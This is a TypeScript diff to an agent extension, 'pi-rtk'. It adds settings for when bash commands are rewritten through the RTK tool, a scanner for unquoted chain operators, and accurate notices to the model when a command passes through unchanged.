|
+
row("rtk.mode", "Rewrite mode", "string", cfg.mode, (v) => {
|
|
23
|
+
cfg.mode = v === "off" ? "off" : "supported-only";
|
|
24
|
+
}, {
|
|
25
|
+
values: ["supported-only", "off"],
|
|
26
|
+
description: "supported-only rewrites commands RTK models (single commands or fully-modeled chains). off passes everything through unchanged.",
|
|
27
|
+
defaultValue: "supported-only",
|
|
28
|
+
}),
|
|
29
|
+
row("rtk.chained", "Chained commands", "string", cfg.chained, (v) => {
|
|
30
|
+
cfg.chained = v === "never" ? "never" : "only-all-modeled";
|
|
31
|
+
}, {
|
|
32
|
+
values: ["only-all-modeled", "never"],
|
|
33
|
+
warning: "never skips the rewrite attempt for commands containing | ; & — rtk models few chains, so this avoids a wasted spawn per call.",
|
|
34
|
+
description: "never disables rewrites for commands containing | ; & && || (they always execute byte-identical). only-all-modeled lets RTK try: it rewrites only when EVERY segment is modeled, else fails open to the original.",
|
|
35
|
+
defaultValue: "only-all-modeled",
|
|
36
|
+
}),
|
|
37
|
+
],
|
|
38
|
+
},
|
|
39
|
+
];
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
const OWNED_PREFIX = "rtk.";
|
|
43
|
+
|
|
44
|
+
/** rtk's ModuleConfig for the central /config panel. */
|
|
45
|
+
export function rtkConfig(): ModuleConfig {
|
|
46
|
+
const before = readRtkSettings();
|
|
47
|
+
const working = structuredClone(before);
|
|
48
|
+
return {
|
|
49
|
+
groups: () => buildRtkGroups(working),
|
|
50
|
+
save: async (edited, ctx: ExtensionContext) => {
|
|
51
|
+
if (![...edited].some((k) => k.startsWith(OWNED_PREFIX))) return;
|
|
52
|
+
if (working.mode === before.mode && working.chained === before.chained) {
|
|
53
|
+
ctx.ui.notify("No changes.", "info");
|
|
54
|
+
return;
|
|
55
|
+
}
|
|
56
|
+
writeRtkSection({
|
|
57
|
+
mode: working.mode !== before.mode ? working.mode : undefined,
|
|
58
|
+
chained: working.chained !== before.chained ? working.chained : undefined,
|
|
59
|
+
});
|
|
60
|
+
const after = readRtkSettings();
|
|
61
|
+
ctx.ui.notify(
|
|
62
|
+
`RTK saved: mode ${after.mode}, chains ${after.chained} — applies to the next bash call.`,
|
|
63
|
+
"info",
|
|
64
|
+
);
|
|
65
|
+
},
|
|
66
|
+
};
|
|
67
|
+
}
|
|
@@ -3,6 +3,7 @@ import { createLocalBashOperations, isToolCallEventType } from "@earendil-works/
|
|
|
3
3
|
import { hasUnsupportedRtkFind } from "./findFallback.js";
|
|
4
4
|
import { parseSemver, supportsFindPassthrough } from "./version-gate.js";
|
|
5
5
|
import { isSafeRewrite } from "./safe-rewrite.js";
|
|
6
|
+
import { readRtkSettings } from "./lib/settings.js";
|
|
6
7
|
|
|
7
8
|
const REWRITE_TIMEOUT_MS = 2_000;
|
|
8
9
|
const RTK_UNAVAILABLE_RETRY_MS = 30_000;
|
|
@@ -20,12 +21,23 @@ function isAtLeastVersion(current: [number, number, number], minimum: [number, n
|
|
|
20
21
|
}
|
|
21
22
|
const RTK_SUBCOMMANDS = ["enable", "disable", "status"] as const;
|
|
22
23
|
|
|
24
|
+
// The honest prompt note: states the POLICY (what RTK can rewrite), not the
|
|
25
|
+
// outcome of any given command. Kept as one constant so every turn injects
|
|
26
|
+
// byte-identical text (prefix-cache head).
|
|
27
|
+
const RTK_NOTE =
|
|
28
|
+
"Your bash commands are rewritten through RTK where RTK supports them " +
|
|
29
|
+
"(git, ls, rg, read, test runners as single commands); chains, redirects, " +
|
|
30
|
+
"inline scripts, and unsupported commands pass through unchanged.";
|
|
31
|
+
|
|
23
32
|
let sessionEnabled = true;
|
|
24
33
|
let rtkUnavailableNotified = false;
|
|
25
34
|
let rtkAvailable: boolean | undefined;
|
|
26
35
|
let rtkLastCheckedAt = 0;
|
|
27
36
|
let rtkSupportsFindPassthrough = false;
|
|
28
37
|
let rtkVersion: string | null = null;
|
|
38
|
+
// Dedupes the pass-through notify: two identical chains back to back notify
|
|
39
|
+
// once. Reset on session_start.
|
|
40
|
+
let lastPassthroughCommand = "";
|
|
29
41
|
|
|
30
42
|
function rewritingEnabled(): boolean {
|
|
31
43
|
return sessionEnabled && !isRtkDisabled();
|
|
@@ -121,13 +133,53 @@ async function rewriteCommand(pi: ExtensionAPI, command: string, ctx: ExtensionC
|
|
|
121
133
|
}
|
|
122
134
|
|
|
123
135
|
|
|
136
|
+
/** Rewrite decision for one command: the command to execute (null = the
|
|
137
|
+
* original passes through) plus whether RTK was CONSULTED — true when the
|
|
138
|
+
* gate allowed reaching the binary (enabled, mode on, chain rules passed)
|
|
139
|
+
* regardless of the outcome. The tool_call path uses it to surface honest
|
|
140
|
+
* pass-through notifies; the user_bash path ignores it. */
|
|
124
141
|
async function maybeRewriteCommand(pi: ExtensionAPI, command: string, ctx: ExtensionContext, signal?: AbortSignal): Promise<string | null> {
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
return rewritten;
|
|
142
|
+
const outcome = await decideRewrite(pi, command, ctx, signal);
|
|
143
|
+
return outcome.rewritten;
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
async function decideRewrite(pi: ExtensionAPI, command: string, ctx: ExtensionContext, signal?: AbortSignal): Promise<{ rewritten: string | null; consulted: boolean }> {
|
|
147
|
+
if (!rewritingEnabled()) return { rewritten: null, consulted: false };
|
|
148
|
+
if (typeof command !== "string" || command.trim() === "") return { rewritten: null, consulted: false };
|
|
149
|
+
if (command.trimStart().startsWith("rtk ")) return { rewritten: null, consulted: false };
|
|
150
|
+
const settings = readRtkSettings();
|
|
151
|
+
if (settings.mode === "off") return { rewritten: null, consulted: false };
|
|
152
|
+
// `chained: "never"`: chains (| ; & && ||, unquoted) never rewrite — skip
|
|
153
|
+
// the spawn entirely; the command executes byte-identical. rtk models few
|
|
154
|
+
// chains (90% of this repo's measured traffic failed open anyway), so this
|
|
155
|
+
// saves a wasted process per call.
|
|
156
|
+
if (settings.chained === "never" && hasUnquotedChainOperator(command)) return { rewritten: null, consulted: false };
|
|
157
|
+
let rewritten = await rewriteCommand(pi, command, ctx, signal);
|
|
158
|
+
let consulted = true;
|
|
159
|
+
if (rewritten && rewritten !== command && !isSafeRewrite(command, rewritten)) {
|
|
160
|
+
rewritten = null;
|
|
161
|
+
consulted = false; // unsafe rewrite rejected — the model must not read this as rtk passing judgment
|
|
162
|
+
}
|
|
163
|
+
return { rewritten, consulted };
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
/** True when the command carries a chain/separator operator outside quotes.
|
|
167
|
+
* ponytail: quote-scanning split (no full shell grammar) — a false positive
|
|
168
|
+
* can only SKIP a rewrite, never rewrite something unsafe. */
|
|
169
|
+
function hasUnquotedChainOperator(command: string): boolean {
|
|
170
|
+
let quote: "'" | '"' | null = null;
|
|
171
|
+
for (let i = 0; i < command.length; i += 1) {
|
|
172
|
+
const ch = command[i]!;
|
|
173
|
+
if (quote) {
|
|
174
|
+
if (ch === "\\" && quote === '"') i += 1; // escaped char inside double quotes
|
|
175
|
+
else if (ch === quote) quote = null;
|
|
176
|
+
} else if (ch === "'" || ch === '"') {
|
|
177
|
+
quote = ch;
|
|
178
|
+
} else if (ch === "|" || ch === ";" || ch === "&") {
|
|
179
|
+
return true;
|
|
180
|
+
}
|
|
181
|
+
}
|
|
182
|
+
return false;
|
|
131
183
|
}
|
|
132
184
|
|
|
133
185
|
async function showRtkStatus(pi: ExtensionAPI, ctx: ExtensionContext): Promise<void> {
|
|
@@ -187,6 +239,7 @@ export default function piRtkExtension(pi: ExtensionAPI) {
|
|
|
187
239
|
// Reset per-session toggle
|
|
188
240
|
sessionEnabled = true;
|
|
189
241
|
rtkUnavailableNotified = false;
|
|
242
|
+
lastPassthroughCommand = "";
|
|
190
243
|
await checkRtkAvailable(pi, ctx);
|
|
191
244
|
});
|
|
192
245
|
|
|
@@ -200,10 +253,13 @@ export default function piRtkExtension(pi: ExtensionAPI) {
|
|
|
200
253
|
// so once the 30s re-probe flips rtkAvailable back to true, the note
|
|
201
254
|
// is injected again on subsequent turns.
|
|
202
255
|
if (rtkAvailable === false) return;
|
|
256
|
+
// ONE STATIC sentence stating the policy, not the outcome — byte-identical
|
|
257
|
+
// every turn (the system prompt is the prefix-cache head; per-turn state
|
|
258
|
+
// here would bust it). Per-command truth rides the [pi-rtk] notifies on
|
|
259
|
+
// the tool_call path instead.
|
|
203
260
|
return {
|
|
204
261
|
systemPrompt: event.systemPrompt +
|
|
205
|
-
"\n\
|
|
206
|
-
"Command output reflects the rewritten command; the original command text in your tool calls is replaced before execution.",
|
|
262
|
+
"\n\n" + RTK_NOTE,
|
|
207
263
|
};
|
|
208
264
|
});
|
|
209
265
|
|
|
@@ -212,13 +268,24 @@ export default function piRtkExtension(pi: ExtensionAPI) {
|
|
|
212
268
|
if (!isToolCallEventType("bash", event)) return;
|
|
213
269
|
|
|
214
270
|
const originalCommand = event.input.command;
|
|
215
|
-
const
|
|
271
|
+
const outcome = await decideRewrite(pi, originalCommand, ctx, ctx.signal);
|
|
272
|
+
const rewritten = outcome.rewritten;
|
|
216
273
|
if (rewritten && rewritten !== originalCommand) {
|
|
217
274
|
// Notify when a command is rewritten so the model sees the discrepancy
|
|
218
275
|
if (ctx.hasUI) {
|
|
219
276
|
ctx.ui.notify(`[pi-rtk] rewrote: ${originalCommand.slice(0, 80)} → ${rewritten.slice(0, 80)}`, "info");
|
|
220
277
|
}
|
|
221
278
|
event.input.command = rewritten;
|
|
279
|
+
} else if (ctx.hasUI && outcome.consulted) {
|
|
280
|
+
// Close the phantom-rewrite loop: rtk was consulted (available, not
|
|
281
|
+
// disabled, command shape allowed the spawn) but returned nothing —
|
|
282
|
+
// the shell runs the ORIGINAL bytes. Surface it so the model doesn't
|
|
283
|
+
// argue with its own tool-call echo. Consecutive identical
|
|
284
|
+
// pass-throughs notify once (repeated test-runner chains).
|
|
285
|
+
if (originalCommand !== lastPassthroughCommand) {
|
|
286
|
+
lastPassthroughCommand = originalCommand;
|
|
287
|
+
ctx.ui.notify(`[pi-rtk] passed through unchanged: ${originalCommand.slice(0, 80)}`, "info");
|
|
288
|
+
}
|
|
222
289
|
}
|
|
223
290
|
} catch (error) {
|
|
224
291
|
const msg = "[pi-rtk] unexpected rewrite error; passing bash command through unchanged";
|